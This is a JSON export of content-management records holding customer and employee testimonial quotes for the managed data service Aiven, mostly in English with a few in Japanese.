{"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"4K3GPjpeGuBp8GF3Ole1HA","_rev":"8WeirZ6KB9gJqgJfvTORfj","_type":"quote","_updatedAt":"2022-09-28T14:27:31Z","caseStudy":{"_ref":"50bf96fd-60b3-4c2a-8e1d-d1eb75fd4f31","_type":"reference"},"company":{"_ref":"2v4v8c27Q0p3afrTlkvr9i","_type":"reference"},"content":[{"_key":"e62c8704-3d12-45cd-87fb-61255c3ad1fa","_type":"block","children":[{"_key":"c44f515d-e11c-4a9c-ae07-40da6b903cf9","_type":"span","marks":[],"text":"\"The biggest thing is that when we switched to Aiven, we instantly had a more reliable service.\""}],"markDefs":[]}],"image":{"alt":"","asset":{"_ref":"image-cd7c2daf2b0272df2cbacfc81e57b1b902ad095e-2500x2500-png","_type":"reference"}},"jobTitle":"CTO and Co-founder","name":"Alexey Indeev"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"4Qd6emFx0ptwrA3MctQo8H","_rev":"dr2SSK1V56AXgVok9RW0u5","_type":"quote","_updatedAt":"2023-08-29T12:31:06Z","company":{"_ref":"75Wc07GSoCxVERISfFLDHl","_type":"reference"},"content":[{"_key":"3b83b40f-2c04-4ca8-809a-d87d32ac83dc","_type":"block","children":[{"_key":"f62bc6af-8259-4e91-bbc3-2da01f920c32","_type":"span","text":"We’ve never had any problems with Aiven. No interruptions, nothing."}],"markDefs":[]}],"image":{"alt":"","asset":{"_ref":"image-f348a282d2a0f1d03fa0ad100467078e3b76783d-2500x3125-png","_type":"reference"}},"jobTitle":"Lead Software Developer at JobCloud","name":"Nicolas Chiu"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"4VVK9pupJso5LAOWx5YdHT","_rev":"oamrAPLmQLQjd9jh7hE3xy","_type":"quote","_updatedAt":"2022-07-06T12:42:16Z","content":[{"_key":"8f7a5daf-bc25-496c-8f96-048e809dea0d","_type":"block","children":[{"_key":"ca990221-50e5-4ca8-81a5-b8d28f517b85","_type":"span","text":"Almost every project I'm working on is more complex than the previous one. That is why I'm at Aiven, I have found very challenging and interesting projects to work on."}],"markDefs":[]}],"image":{"alt":"","asset":{"_ref":"image-1ecb3abe62e8c3219d231f41535b8227a269cbae-130x130-png","_type":"reference"}},"jobTitle":"Senior Software Engineer","name":"Olena Babenko"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"4hEPOuwbbVcaP7yYutYxRh","_rev":"qkpX9b3U0TpOGFQp9fzSg4","_type":"quote","_updatedAt":"2022-07-06T12:42:10Z","content":[{"_key":"091f063e-3ba2-45f7-bf3b-f2a4c92fb1ad","_type":"block","children":[{"_key":"a6d4466b-f904-42b5-9837-574d6d99c09c","_type":"span","text":"TokenMarket processed $250 million in token sale transactions in 2017. Aiven services and support have helped us to scale and tune on the high peak loads of the crowdsale industry."}],"markDefs":[]}],"jobTitle":"CTO","name":"Mikko Ohtamaa"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"4vLMUjXEGvy5itJ9iTdsEF","_rev":"cEPH2uRN58AU2lp9QPbVyD","_type":"quote","_updatedAt":"2022-09-10T08:06:05Z","caseStudy":{"_ref":"6a79e45d-7bbf-4e28-abf9-b71fd104b833","_type":"reference"},"company":{"_ref":"rJC6Thoe9tosgYGZna3t6","_type":"reference"},"content":[{"_key":"e570a2d7-2756-4e73-8f04-f6905c2491f6","_type":"block","children":[{"_key":"169c08e2-e353-4176-904b-baa930d053c1","_type":"span","marks":[],"text":"\"We have much fewer services and less infrastructure to take care of now. And all of it can be centrally managed.\""}],"markDefs":[]}],"image":{"alt":"","asset":{"_ref":"image-95c17ac4bf2fcec27372f4270a121f7d2b2d67ee-2500x2500-png","_type":"reference"}},"jobTitle":"Principal Engineer at GoTo Financial","name":"Kashyap Kopparam"} {"__i18n_lang":"en","_createdAt":"2022-07-05T11:43:18Z","_id":"4vuHMVNBnWET6rEqWvcdC7","_rev":"fuFsKkOoAJwNVpPrIKYZwc","_type":"quote","_updatedAt":"2022-12-07T19:34:18Z","caseStudy":{"_ref":"97a6f337-05d2-4247-9275-e89d42383441","_type":"reference"},"company":{"_ref":"Qi6syfOyHgBi7ehXtqDgB","_type":"reference"},"content":[{"_key":"c1263668-97c0-4f0c-9459-45cc56d7d96b","_type":"block","children":[{"_key":"350e65e6-71da-4b51-8501-9fd6d2c7d77a","_type":"span","marks":[],"text":"\"When you don’t have to worry about a service being down, you can concentrate on your own business.\""}],"markDefs":[]}],"image":{"alt":"","asset":{"_ref":"image-e03218464730fdd36ab5fd75527ca2e9e4737436-2500x3125-png","_type":"reference"}},"jobTitle":"Head of Engineering, Data","name":"Jacopo Chiapparino"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"56zxj4Bz35x4a9G024Hh4n","_rev":"vDQRRYe9nRreptIRp5WdGz","_type":"quote","_updatedAt":"2022-09-30T13:31:23Z","caseStudy":{"_ref":"4b7c77b5-38c5-4c4a-82b6-53241a06020f","_type":"reference"},"company":{"_ref":"798pg8vpkaOTehLq4MG4RD","_type":"reference"},"content":[{"_key":"fa8aa4dd-40dd-4009-8db2-fe7c4d0f80c0","_type":"block","children":[{"_key":"f560c642-e0e3-470d-b295-e01f13f26be0","_type":"span","marks":[],"text":"\"Thanks to Aiven, we can now scale our databases to accommodate rapid fluctuations in user volume.\""}],"markDefs":[]}],"image":{"_type":"mainImage","asset":{"_ref":"image-8745f8234e5b584fda342e1d38064871b129a541-3757x1259-svg","_type":"reference"}},"jobTitle":"Technical Expert","name":"Andy Librian"} {"__i18n_lang":"en","_createdAt":"2023-10-18T15:20:02Z","_id":"5760b3cc-20cf-4a10-8fa7-742d05ab5314","_rev":"zE08g5Yj02ino50zLcg99i","_type":"quote","_updatedAt":"2023-10-18T15:28:58Z","caseStudy":{"_ref":"58ae63fb-c2da-4986-b03f-01d7830d3d82","_type":"reference"},"company":{"_ref":"17IOucz0A2afQRoggZvU06","_type":"reference"},"content":[{"_key":"bd8868e8ad9f","_type":"block","children":[{"_key":"6b30f8c97e1f","_type":"span","marks":[],"text":"Swift Solutions, a delivery and order fulfilment service, saved 30-40% of the total cost of ownership (TCO) with Aiven."}],"markDefs":[],"style":"normal"}],"jobTitle":"CTO, Swift Solutions","name":"Alfi Zainuddin","ytId":"r5bo7T2_Y9I"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"57Bfx80u9VMFpssrKe3vdE","_rev":"qkpX9b3U0TpOGFQp9fzSg4","_type":"quote","_updatedAt":"2022-07-06T12:42:10Z","content":[{"_key":"7cc7d62e-934d-4522-8a5e-4a85764366ae","_type":"block","children":[{"_key":"a92a406e-362f-4a95-80a5-db8f70f82e56","_type":"span","text":"Aiven has been with us from day one. They are the reason we’re even able to offer the Talon.One platform."}],"markDefs":[]}],"jobTitle":"Head of Product","name":"Laurens Van Wiele "} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"5J9HPxL6cbe0ZgOiSueO0U","_rev":"XMqVxILwpPMz4xYxcA7vYn","_type":"quote","_updatedAt":"2022-10-01T19:09:55Z","caseStudy":{"_ref":"c5434a78-da19-4156-a28c-3d54f7dbdabf","_type":"reference"},"company":{"_ref":"4TqpVisLv0iRqpMCA1uvHK","_type":"reference"},"content":[{"_key":"b3094772-03b1-4be7-b14f-656cdfc7ec40","_type":"block","children":[{"_key":"9b8820b1-3bff-4d6e-8045-1ef1a135a532","_type":"span","marks":[],"text":"\"M3 was the best heavy-duty option. It’s used by several large companies and it’s horizontally scalable. Its architecture is also simple enough to be robust and comprehensible.\""}],"markDefs":[]}],"image":{"_type":"mainImage","asset":{"_ref":"image-b357828063a07181ce53eacbe3af61d02e9a8a21-2500x3125-png","_type":"reference"}},"jobTitle":"Software Engineer","name":"Markus Stenberg "} {"__i18n_lang":"en","_createdAt":"2023-11-22T10:06:21Z","_id":"5ae2d401-18ee-4efc-b675-7ee56404fbc1","_rev":"00HkATqwml6aoQnrO15oGf","_type":"quote","_updatedAt":"2023-11-22T10:06:21Z","company":{"_ref":"41defdde-593b-4266-971d-d5fde91e1e89","_type":"reference"},"content":[{"_key":"4949e5ff5f87","_type":"block","children":[{"_key":"2aed7ba4c49d0","_type":"span","marks":[],"text":"Aiven has brought us cost savings of 40%. We’re also saving on human resources and time because Aiven handles all the maintenance. This essentially frees up time for our team to focus on more strategic activities like creating innovative solutions for our customers."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-d7035dfe24577b778b4b5928f6deb6d81cc0e72d-3295x1724-png","_type":"reference"}},"jobTitle":"IT Lead","name":"Kevin Setiawan Tanzil"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"5geaejSggPeVDwbf6wXFbL","_rev":"PJutSls1mvFq6xuKwNbvNB","_type":"quote","_updatedAt":"2022-11-21T10:38:04Z","company":{"_ref":"yvkqRSBe6LC3RTgyKXyOf","_type":"reference"},"content":[{"_key":"fdec029a-02ec-4bd6-ac69-58aa9bcabe44","_type":"block","children":[{"_key":"84b14a0d-3fa2-4799-bcfc-75340fff35be","_type":"span","marks":[],"text":"\"Without Aiven, we’d have to manage hundreds of database servers at high availability ourselves.\""}],"markDefs":[]}],"image":{"alt":"","asset":{"_ref":"image-f82947c7c52d76aed2fc87d52894380c21709dbf-800x1000-png","_type":"reference"}},"jobTitle":"Head of Product","name":"Laurens Van Wiele"} {"__i18n_lang":"en","_createdAt":"2023-10-18T15:14:07Z","_id":"66b04686-f802-4094-9002-944c15a1fd41","_rev":"kfl1F24L65Nzg04H5HNoxi","_type":"quote","_updatedAt":"2023-10-18T15:28:41Z","caseStudy":{"_ref":"6dd14f60-848e-49e0-9ab1-1fd9342e1ab2","_type":"reference"},"company":{"_ref":"59141ae6-931b-4202-a95c-4d805376440a","_type":"reference"},"content":[{"_key":"f53cfd908a0e","_type":"block","children":[{"_key":"8d5a83648c86","_type":"span","marks":[],"text":"Aiven delivers 99.99% uptime, lowers costs by 25% and improves performance 10x while handling 200 million trades daily for Digital Asset Research."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-591b6ac9d9c2c306b6e1fdb4aa3c97c1aaa99a28-1920x1037-jpg","_type":"reference"}},"jobTitle":"CTO, Digital Asset Research","name":"Michael Zimberg"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"6RKIzfTvV95lb8Kl2J4oMZ","_rev":"CehdQyS8z5lmiPrCU0jyEt","_type":"quote","_updatedAt":"2023-05-05T08:39:33Z","caseStudy":{"_ref":"58ae63fb-c2da-4986-b03f-01d7830d3d82","_type":"reference"},"company":{"_ref":"17IOucz0A2afQRoggZvU06","_type":"reference"},"content":[{"_key":"64f33baa4947","_type":"block","children":[{"_key":"33220ce3df220","_type":"span","marks":[],"text":"\"Being able to use Kubernetes and Terraform is a really good feature at Aiven. We have a better DevOps flow, and configuration errors are history.\""}],"markDefs":[],"style":"normal"}],"image":{"alt":"","asset":{"_ref":"image-ccad59f8a84a562c01ce4a97d30f54cc4fcb8dd2-2500x2542-png","_type":"reference"}},"jobTitle":"VP of Engineering at Swift Solutions","name":"Ignacio Evan Daryanto"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"6W0mDZPP2EsCeNVB1xTHqK","_rev":"qkpX9b3U0TpOGFQp9fzaC8","_type":"quote","_updatedAt":"2022-07-06T12:42:18Z","content":[{"_key":"ce9acf75-6cfc-4a67-b9f6-03ba003295f4","_type":"block","children":[{"_key":"b38ce3c8-8b3b-4444-914b-cf2438c4981d","_type":"span","text":"I have the freedom to be thoughtful and responsible for creating a positive impact for the business, for myself and my family."}],"markDefs":[]}],"image":{"alt":"","asset":{"_ref":"image-1839f19bc89fc60b15925fd52da416feb32c3c66-130x130-png","_type":"reference"}},"jobTitle":"Recruiter","name":"Dhruv Sehgal"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"6YdRcdUi5qUEfh3gYAPOEr","_rev":"qkpX9b3U0TpOGFQp9fzaC8","_type":"quote","_updatedAt":"2022-07-06T12:42:18Z","content":[{"_key":"9e444f57-4302-4e27-9d6f-e0edb86c519a","_type":"block","children":[{"_key":"f64e5c8c-7375-401e-8a37-83b7d1e7f4cd","_type":"span","text":"Aiven was a clean solution for us and easy to integrate."}],"markDefs":[]}],"image":{"alt":"","asset":{"_ref":"image-bb93d2bd5bcf02760b7fde629ba06ec52ed10e57-371x371-png","_type":"reference"}},"jobTitle":"Principal Product Manager / Data Platform at Sophos","name":"Ellen Drommond"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"6cA8XxCFwLgb6UcsVztkdm","_rev":"4pG2it9AJU1nJxbjoHqT3S","_type":"quote","_updatedAt":"2022-09-16T13:38:41Z","caseStudy":{"_ref":"c5434a78-da19-4156-a28c-3d54f7dbdabf","_type":"reference"},"company":{"_ref":"4TqpVisLv0iRqpMCA1uvHK","_type":"reference"},"content":[{"_key":"325252d0-8207-46a9-a4db-862ff560af7e","_type":"block","children":[{"_key":"0abcd44a-85dc-4bc5-910b-7a65ef31ed72","_type":"span","marks":[],"text":"\"We promise our customers 99.99% uptime. That's a tall order. We need to see what our systems are doing all of the time, and when things go wrong we need targeted information about it in order to fix it quickly.\""}],"markDefs":[],"style":"normal"}],"image":{"alt":"","asset":{"_ref":"image-b357828063a07181ce53eacbe3af61d02e9a8a21-2500x3125-png","_type":"reference"}},"jobTitle":"Head of Technical Operations","name":"Mika Eloranta"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"6xCgTmxuYTcFOBg9tOjKSd","_rev":"QRl2cGoCgj0FlAhkRsLykG","_type":"quote","_updatedAt":"2022-09-09T07:17:13Z","caseStudy":{"_ref":"6a79e45d-7bbf-4e28-abf9-b71fd104b833","_type":"reference"},"company":{"_ref":"rJC6Thoe9tosgYGZna3t6","_type":"reference"},"content":[{"_key":"c7ac5570659a","_type":"block","children":[{"_key":"35b25ca221430","_type":"span","marks":[],"text":"\"We haven’t seen any performance issues, we haven't seen any downtime. So yeah, we're happy.\""}],"markDefs":[],"style":"normal"}],"image":{"alt":"","asset":{"_ref":"image-95c17ac4bf2fcec27372f4270a121f7d2b2d67ee-2500x2500-png","_type":"reference"}},"jobTitle":"Principal Engineer at GoTo Financial","name":"Kashyap Kopparam"} {"__i18n_lang":"en","_createdAt":"2022-12-08T08:51:41Z","_id":"77bfc988-07a3-41c9-9551-3b3371c001fd","_rev":"fuFsKkOoAJwNVpPrILn54X","_type":"quote","_updatedAt":"2022-12-08T08:51:41Z","caseStudy":{"_ref":"2c8b3b77-a2f7-4fb4-a4e2-7fa0ca05dc9d","_type":"reference"},"company":{"_ref":"9e549fad-31c5-4435-a8da-ecbf2f628388","_type":"reference"},"content":[{"_key":"1dabde49775c","_type":"block","children":[{"_key":"9c63723565dd0","_type":"span","marks":[],"text":"\"I would absolutely recommend Aiven for any company that wants to make the scalability of its infrastructure much more effortless.\""}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-c5c13537c7b2e5c960fd91772c976853ccdb239e-2500x2542-png","_type":"reference"}},"jobTitle":"Co-Founder of Paperlust","name":"Alex Boston"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"7IMOjx4b9r320hCXRSqv1R","_rev":"qkpX9b3U0TpOGFQp9fzSg4","_type":"quote","_updatedAt":"2022-07-06T12:42:10Z","content":[{"_key":"fba25595-b4da-46c9-b512-8c543c80130a","_type":"block","children":[{"_key":"19911110-d05c-4a60-ae2d-9823a30201b3","_type":"span","text":"I haven't seen another hosted Postgres provider that can run in our cloud region and uses native SSDs, which gave us the performance boost we needed. "}],"markDefs":[]}],"jobTitle":"CTO and Co-founder","name":"Alastair James"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"7bJPhjY5qiocaU3nLYLCuB","_rev":"qkpX9b3U0TpOGFQp9fzaC8","_type":"quote","_updatedAt":"2022-07-06T12:42:18Z","content":[{"_key":"565b94e2-d103-4b97-805e-6ff38bf8b085","_type":"block","children":[{"_key":"51d9f3c7-f3b0-433c-a212-7b09940693ea","_type":"span","text":"Of course I’d recommend Aiven to other companies."}],"markDefs":[]}],"image":{"alt":"","asset":{"_ref":"image-bb93d2bd5bcf02760b7fde629ba06ec52ed10e57-371x371-png","_type":"reference"}},"jobTitle":"Principal Product Manager / Data Platform","name":"Ellen Drommond"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"7ragTJ6KoLnl75rCENVhOz","_rev":"qkpX9b3U0TpOGFQp9fzSg4","_type":"quote","_updatedAt":"2022-07-06T12:42:10Z","content":[{"_key":"b98db715-1483-45c3-afad-19ee2f4d1ad0","_type":"block","children":[{"_key":"cc316859-316f-474b-9fe0-01fb6d24bd13","_type":"span","text":"Having Aiven on board, our team doesn't need to be figuring out nitty gritty details and can spend more time focusing on abstract problems that relate to specifically our business case."}],"markDefs":[]}],"jobTitle":"CTO","name":"Alexey Indeev"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"7w6ew3dzx8dvFKmq5Zv9jt","_rev":"oamrAPLmQLQjd9jh7hE3xy","_type":"quote","_updatedAt":"2022-07-06T12:42:16Z","content":[{"_key":"2fd8bbb5-54df-4203-9829-87116a03bf0a","_type":"block","children":[{"_key":"ae52c96e-1374-449b-8912-bf5e0097e53e","_type":"span","text":"We didn't really have the capacity to manage our own Kafka and everything."}],"markDefs":[]}],"image":{"alt":"","asset":{"_ref":"image-95c17ac4bf2fcec27372f4270a121f7d2b2d67ee-2500x2500-png","_type":"reference"}},"jobTitle":"Principal Engineer at GoTo Financial","name":"Kashyap Kopparam"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"7wPAfaA2oSBoppODN0ZTvH","_rev":"Mv9ba7QfcthzshVwIcX5cN","_type":"quote","_updatedAt":"2022-09-19T17:46:57Z","caseStudy":{"_ref":"aa91894d-4565-4847-8728-392a20b4b507","_type":"reference"},"company":{"_ref":"2G9z2uZhiE8LjSLikpXmFJ","_type":"reference"},"content":[{"_key":"363e13fa-af0c-4132-a091-a48697b9cff9","_type":"block","children":[{"_key":"80baee35-1b2b-4339-8905-592cae6cd44c","_type":"span","marks":[],"text":"\"Aiven manages our databases for us, so we can focus on adding value to the business.\""}],"markDefs":[]}],"image":{"alt":"","asset":{"_ref":"image-8f6efc49a31c8c7f30a8da4fdde4aa535fdb43b0-2500x2500-png","_type":"reference"}},"jobTitle":"IT Operations Leader","name":"Vincent Leriche"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"7xuqOJF8MP8SJLz5OXVe6J","_rev":"qkpX9b3U0TpOGFQp9fzSg4","_type":"quote","_updatedAt":"2022-07-06T12:42:10Z","content":[{"_key":"a51346e4-cb41-4aad-bb2e-e13b95e00c70","_type":"block","children":[{"_key":"35ad1a64-dc9b-4e35-bbc3-d93990618b13","_type":"span","text":"Hosting ourselves would have been a pain so using Aiven we've saved time, capacity and manpower over that. The ease to set things up and not requiring a dedicated maintenance team were other advantages."}],"markDefs":[]}],"jobTitle":"CTO and Co-founder","name":"Alastair James"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"7z6GeS8JVHqmLswZTautJ5","_rev":"qkpX9b3U0TpOGFQp9fzaC8","_type":"quote","_updatedAt":"2022-07-06T12:42:18Z","content":[{"_key":"e313a3e7-e485-432a-a9b6-b731a7b43e6b","_type":"block","children":[{"_key":"11b017d0-7d49-4d08-be0c-ca710a77d8ca","_type":"span","text":"Working at Aiven has given me the opportunity to take ownership of projects, learn \u0026 challenge myself in ways I had never imagined."}],"markDefs":[]}],"image":{"alt":"","asset":{"_ref":"image-2d31f13e8c1ca25c78f03afa8e8f4981259b438e-130x130-png","_type":"reference"}},"jobTitle":"Communications Manager","name":"Ruth Prieto Arenas"} {"__i18n_lang":"ja","_createdAt":"2023-02-16T10:08:24Z","_id":"8c30efff-1771-4f8c-a629-2bfe8e5d0216__i18n_ja","_rev":"hmQk1VtzwG7nr02566D2Ui","_type":"quote","_updatedAt":"2023-06-02T08:35:10Z","caseStudy":{"_ref":"b579529f-90cc-41c9-bb29-9db492937885","_type":"reference"},"company":{"_ref":"689cb493-1e77-4232-b6ee-f9bef6a83582","_type":"reference"},"content":[{"_key":"d951e625686c","_type":"block","children":[{"_key":"9b7ae37d86280","_type":"span","marks":[],"text":"「Aivenのソリューションアーキテクチャグループは、私たちにとって最適なソリューションを見つけることに全力を注いでくれました。」"}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-681bb45d5373d3486dc4327df4f9a68e2d9589d6-2500x2542-png","_type":"reference"}},"jobTitle":"データ担当シニアディレクター、Priceline","name":"Sachin Menon氏"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"9XZbxtVCZAyfEXg0sC2iB","_rev":"oamrAPLmQLQjd9jh7hE3xy","_type":"quote","_updatedAt":"2022-07-06T12:42:16Z","content":[{"_key":"4b79530b-969b-4216-a8f4-2d9f11fefab2","_type":"block","children":[{"_key":"63534e88-6d56-466d-af41-ee1bc135c4a4","_type":"span","text":"I love the fact that my role at Aiven gives me the opportunity to contribute towards turning our company objectives into cross-functionally aligned tactics."}],"markDefs":[]}],"image":{"alt":"","asset":{"_ref":"image-99b6e93e64352f48e1e5aeaa7666319dec6181aa-512x512-png","_type":"reference"}},"jobTitle":"Senior Director, Product Management","name":"Soumya Bijjal"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"Dwf9ujl3D3mdwA4HUotMC","_rev":"CUI2l6FDMEK2xY09V8Zcge","_type":"quote","_updatedAt":"2022-09-01T16:07:23Z","company":{"_ref":"4TqpVisLv0iRqpMCA1uvHK","_type":"reference"},"content":[{"_key":"ca98bb87-7866-463c-9145-bc7fbff5cdb8","_type":"block","children":[{"_key":"260062f8-8c02-47fa-92e9-ddb8434abdad","_type":"span","marks":[],"text":"\"We eat our own dog food. Because we use the products we offer to customers ourselves, we know how they work from a user perspective.\"\n"}],"markDefs":[]}],"jobTitle":"Head of Technical Operations","name":"Mika Eloranta"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"FmcRZCrsKQ4gWDJ8qkcDJ","_rev":"qkpX9b3U0TpOGFQp9fzaC8","_type":"quote","_updatedAt":"2022-07-06T12:42:18Z","content":[{"_key":"7d81ddac-45d9-4a52-b04d-8536e6a0d0ee","_type":"block","children":[{"_key":"02c4560b-66e3-4b89-8af2-bed27c645979","_type":"span","text":"60 million API calls a month per ~ 100 customers"}],"markDefs":[]},{"_key":"19c289d8-3603-4101-b901-2afa14fb96d7","_type":"block","children":[{"_key":"text","_type":"span","marks":[],"text":"“Without Aiven, we’d have to manage hundreds of database servers at high availability ourselves.”"}],"markDefs":[],"style":"normal"}],"image":{"alt":"","asset":{"_ref":"image-9dd6f76b3afa1df5439feb8189af4d128c17559b-994x306-svg","_type":"reference"}}} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"LUQA3Da37Nwm4sXBuCTQe","_rev":"oP937kX6v07bcvrIPZF7Kw","_type":"quote","_updatedAt":"2022-09-17T20:15:35Z","caseStudy":{"_ref":"30d018ed-82c6-40b5-9155-e36eda484cfe","_type":"reference"},"company":{"_ref":"tobLYh2MZdZsk3Hke3PqK","_type":"reference"},"content":[{"_key":"ee2a31ef-7d54-4e07-9cd4-868ef728a589","_type":"block","children":[{"_key":"c8045236-ac21-48a7-8ac0-c60c8933db09","_type":"span","marks":["strong"],"text":"Rock-solid service with reduced costs "}],"markDefs":[],"style":"normal"},{"_key":"6f23bdd3-328c-45f5-934e-88f7fa8606a1","_type":"block","children":[{"_key":"text","_type":"span","marks":[],"text":"“We’ve saved our customers something like 2.6 years of staring at a loading spinner.”"}],"markDefs":[],"style":"normal"}],"image":{"alt":"","asset":{"_ref":"image-5421254480fd00a5d9d01c864e0cded9721ee593-126x35-svg","_type":"reference"}},"jobTitle":"CTO \u0026 Co-founder","name":"Al James"} {"__i18n_lang":"ja","_createdAt":"2022-06-17T08:37:13Z","_id":"LUQA3Da37Nwm4sXBuCTQe__i18n_ja","_rev":"Y8XrsvoJ4zglb1hB5Dsbq8","_type":"quote","_updatedAt":"2023-01-10T03:25:15Z","caseStudy":{"_ref":"30d018ed-82c6-40b5-9155-e36eda484cfe","_type":"reference"},"company":{"_ref":"tobLYh2MZdZsk3Hke3PqK","_type":"reference"},"content":[{"_key":"f2d09bc881a4","_type":"block","children":[{"_key":"668ce38bfb440","_type":"span","marks":["strong"],"text":"コスト削減を実現した揺るぎないサービス"}],"markDefs":[],"style":"normal"},{"_key":"c9d94b550042","_type":"block","children":[{"_key":"b4cfd5169a840","_type":"span","marks":[],"text":"「お客様が、ローディングスピナーを見つめていた時間としての2.6年分くらいは節約できました。」"}],"markDefs":[],"style":"normal"}],"image":{"alt":"","asset":{"_ref":"image-5421254480fd00a5d9d01c864e0cded9721ee593-126x35-svg","_type":"reference"}},"jobTitle":"CTO兼共同創立者","name":"Al James氏"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"QboPygXrY4Deq6RbBU0Qp","_rev":"oamrAPLmQLQjd9jh7hE3xy","_type":"quote","_updatedAt":"2022-07-06T12:42:16Z","content":[{"_key":"1290986d-49f6-450e-b05b-676852bf087c","_type":"block","children":[{"_key":"536c197e-7124-46fd-9e21-3412aad443d5","_type":"span","text":"Thanks to Aiven, the time our teams used to spend on running Apache Kafka can instead be poured into our core business."}],"markDefs":[]}],"image":{"alt":"","asset":{"_ref":"image-872e3bc5d0e07e1e6b2b3c038074f4c93cde3b3c-1500x1500-png","_type":"reference"}},"jobTitle":"VP of Engineering at Mirakl","name":"Nagi Letaifa"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"UzYPd61neOB3wpUzCO3ci","_rev":"oamrAPLmQLQjd9jh7hE3xy","_type":"quote","_updatedAt":"2022-07-06T12:42:16Z","content":[{"_key":"84a37a39-dd9a-409c-83a0-a487a6283030","_type":"block","children":[{"_key":"6ea13ed9-93ec-459b-8bac-062edb2c523b","_type":"span","text":"It’s nice to work in a highly skilled team and where there are good challenges. It makes for a growth-oriented atmosphere."}],"markDefs":[]}],"image":{"alt":"","asset":{"_ref":"image-729bfb64cdefca3de0ccf07f7d286246f14a4bd6-160x160-png","_type":"reference"}},"jobTitle":"Senior Software Engineer","name":"Juho Heikkinen"} {"__i18n_lang":"en","_createdAt":"2023-06-26T07:36:53Z","_id":"b8730480-3554-4bd4-a20b-f740a0947e0b","_rev":"ndF450ZgZJsxSk7ku2EvE5","_type":"quote","_updatedAt":"2024-08-22T08:21:28Z","caseStudy":{"_ref":"a07e85db-f60d-4460-8a72-9384d5fde396","_type":"reference"},"company":{"_ref":"fbbe4379-81b9-41fd-808d-b84223814c9d","_type":"reference"},"content":[{"_key":"8de6cacb919d","_type":"block","children":[{"_key":"de6a809033960","_type":"span","marks":[],"text":"“Managing Kafka is complex. Doing it by yourself is really hard. As soon as we started using Kafka for bigger loads, we ran into trouble. We had limited resources yet we were spending a lot of time managing and fixing. We had to scale up our on-premises solution because we destroyed our clusters several times.”"}],"markDefs":[],"style":"normal"}],"jobTitle":"FullStack Software Engineer","name":"Philipp Westphalen"} {"__i18n_lang":"en","_createdAt":"2024-04-18T13:47:46Z","_id":"c0c5a62e-e66b-4231-93b3-ca4913de22f6","_rev":"qAxOg8VRHKSH7xgCZbCQKp","_type":"quote","_updatedAt":"2024-04-18T13:47:46Z","caseStudy":{"_ref":"b579529f-90cc-41c9-bb29-9db492937885","_type":"reference"},"company":{"_ref":"689cb493-1e77-4232-b6ee-f9bef6a83582","_type":"reference"},"content":[{"_key":"c191e1c70547","_type":"block","children":[{"_key":"e3598212d4290","_type":"span","marks":[],"text":"With Aiven, we now have the flexibility to enormously scale to accept new data and new users and ingest everything into the analytics layer. We can get insights into the data in less than two minutes, which has helped us enable a more efficient reporting timeline.\n"}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-8426020b815d762c249b9aa4945a7ce7d7ceeb3e-1920x1038-jpg","_type":"reference"}},"jobTitle":"VP of Data \u0026 Marketing, Priceline","name":"Sachin Menon"} {"__i18n_lang":"en","_createdAt":"2022-09-17T20:08:47Z","_id":"cc82bfa9-f084-488f-a9b4-5f0621717108","_rev":"8WeirZ6KB9gJqgJfvTO1IL","_type":"quote","_updatedAt":"2022-09-28T14:26:24Z","caseStudy":{"_ref":"30d018ed-82c6-40b5-9155-e36eda484cfe","_type":"reference"},"company":{"_ref":"tobLYh2MZdZsk3Hke3PqK","_type":"reference"},"content":[{"_key":"afc124346442","_type":"block","children":[{"_key":"65da8973504e0","_type":"span","marks":[],"text":"“Migrating to Aiven made managing certain workloads feasible and more cost effective, which wasn’t possible before”"}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-5b71b6862d7f901dbd6828397b1303eed0c7921d-2500x2500-png","_type":"reference"}},"jobTitle":"CTO \u0026 Co-founder","name":"Al James"} 